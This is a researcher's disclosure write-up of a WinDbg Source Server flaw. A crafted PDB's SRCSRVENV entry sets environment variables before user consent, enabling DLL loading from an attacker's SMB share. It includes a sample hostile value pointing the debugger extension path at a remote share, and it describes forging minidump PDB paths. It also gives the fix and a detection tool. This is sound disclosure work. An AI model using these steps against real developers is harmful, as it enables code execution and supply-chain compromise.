This attack surface was actually noticed by me back in early days of windows development, somewhat about year 2016. While doing enterprise development, you inevitably need to respond if your product crashes at the end user side, and typical way for windows development is automatic collection of the crash dumps from end user to your company development infrastructure. The implementation of this process may vary, but usually it includes following steps:
- Generation of crash dump at user side
- Sending the crash dump to some dump collection server
- Automatic triage
- Notify developers about new bug
- Developer doing manual triage
This process is already very complex and prone to vulnerabilities, but today we will focus on stage #5.
Risk
Attacks on actual developers are highly dangerous, since this kind of staff usually has local admin rights, as well as access to large portion of source code, code signing certificates, and documentation, including write access to a part of product code. The impact may vary from information leaks to actual trojanization of company products, which will cost enormous sum for a company.
Vulnerability summary
The vulnerability that we will describe today allows remote attackers to execute arbitrary code on affected installations of Microsoft WinDbg with Source Server client enabled. Access from target host to attacker-supplied SMB-share is required to exploit this vulnerability remotely. The specific flaw exists within the implementation of the SRCSRV Stream processing of pdb file by srcsrv.dll. The issue results from the improper usage of SRCSRVENV variable in SRCSRV stream of pdb file, which allows attacker to set arbitrary environment variable in current WinDbg instance. This behaviour may be abused to trigger DLL hijacking during DbgEngine reinitialization, and result in arbitrary DLL execution, including DLLs accessible by UNC paths, e.g. from an SMB server.
Description
Products affected
- WinDbg 10.0.19041.685
- Microsoft Source Server (srcsrv.dll) 10.0.19041.685
Classification
- Security feature bypass
- Local privilege elevation
- Remote code execution
- Code injection
Details
WinDbg has feature called Source Indexing which allows developers to embed instructions to WinDbg on how to download source code for specific build of a PE file. These instructions are presented within a form of “ini” file, which can be embedded to a “srcsrv” stream of a PDB file, which is generated by MSVC compiler alongside to executable file, to provide additional debug information for the application. 
This ini files contain the following main keys:
- SRCSRVCMD - specifies command line template which actually downloads source code, e.g. “tf.exe get …”
- SRCSRVENV - specifies environment variables for SRCSRVCMD in form of “KEY=VALUE”
To mitigate execution of malicious command lines, default configuration of SrcSrv requires user consent before execution, which allows user to decide if the command is safe or not. User also has option (and desire) to turn off those consents permanently: 
While having this legacy security measure in place, Srcsrv.dll uses SRCSRVENV value to set environment variable in current WinDbg instance before the consent dialog is shown, which renders this security measure ineffective in this scenario.
Remote exploitation scenario
Having all this information, let’s plan the remote attack scenario. Imagine that company X uses dump servers to collect crashdumps from customers for postmortem debugging of their software. Malicious actors craft a PDB file which triggers this vulnerability: they embed a SRCSRV stream to PDB with SRCSRVENV set to _NT_DEBUGGER_EXTENSION_PATH=\\192.168.1.2\box\1337\
This specific environment variable is used by Windbg engine as a search path for extension DLLs, which will be explained later.
They also craft a minidump file with a PE file in memory containing forged CV_INFO_PDB70 structure, and a PDB file which triggers this vulnerability. This structure is a standard way to point WinDbg to a location of a PDB file for a PE.
In this case, attacker sets PdbFileName to a UNC path to SMB share, which contains a .pdb file with a crafted SRCSRV stream. Employee of Company X receives minidump file for crashdump analysis, and opens it in WinDbg, which loads a .pdb file from the SMB share. WinDbg identifies SRCSRV stream from PDB, and passes SRCSRV stream contents to srcsrv.dll SrcSrvExecTokenA function. This function reads SRCSRVENV variable and sets environment variable _NT_DEBUGGER_EXTENSION_PATH. At this point the vulnerability is triggered. Later it displays consent window, but no matter of user consent, the WinDbg instance has spoiled process environment. After dealing with this crafted minidump, employee of Company X opens any minidump or executable binary (in the current WinDbg instance), and DbgEngine will load extension DLLs from the attacker-supplied SMB share.
Current attack scenario is based on _NT_DEBUGGER_EXTENSION_PATH variable modification, which is basically a path to WinDbg debugger extensions like ext.dll/ntsdexts.dll/etc. They are being loaded at DbgEngine initialization, so the DLL hijacking will occur if user loads any other dump in current WinDbg instance.
Root cause and remediation
SRCSRVENV is meant to provide environment variables to SRCSRVCMD command execution, so it must be specified e.g. on lpEnvironment argument of CreateProcess call, not for context of calling process using SetEnvironmentVariable.
Fix available
Ensure to use SDK version 10.0.22621.0 and higher.
For older SDKs
A tool was released for quick forensic of windows dump files: https://github.com/ph1048/dump_pdb_check
It checks a windows dump file for references of PDBs by malformed or UNC paths. It can be built in your dump server, or used manually.
Supporting materials & references
Source indexing description: https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/source-indexing
Communication history
- 22 march 2021 – Report submitted to Microsoft
- 22 march 2021 – Report acknowledged by Microsoft
- 2 april 2021 – Problem confirmed by Microsoft
- 7 april 2021 – Bounty was awarded
- 17 july 2021 – Fix in testing
- 27 july 2021 – Plan to release fix in October SDK
- 9 october 2021 – Temporary CVE was assigned CVE-2021-X41358
- 13 october 2021 – MS decided to refuse CVE-2021-41358 registration
- 25 september 2023 – This article is published
Comments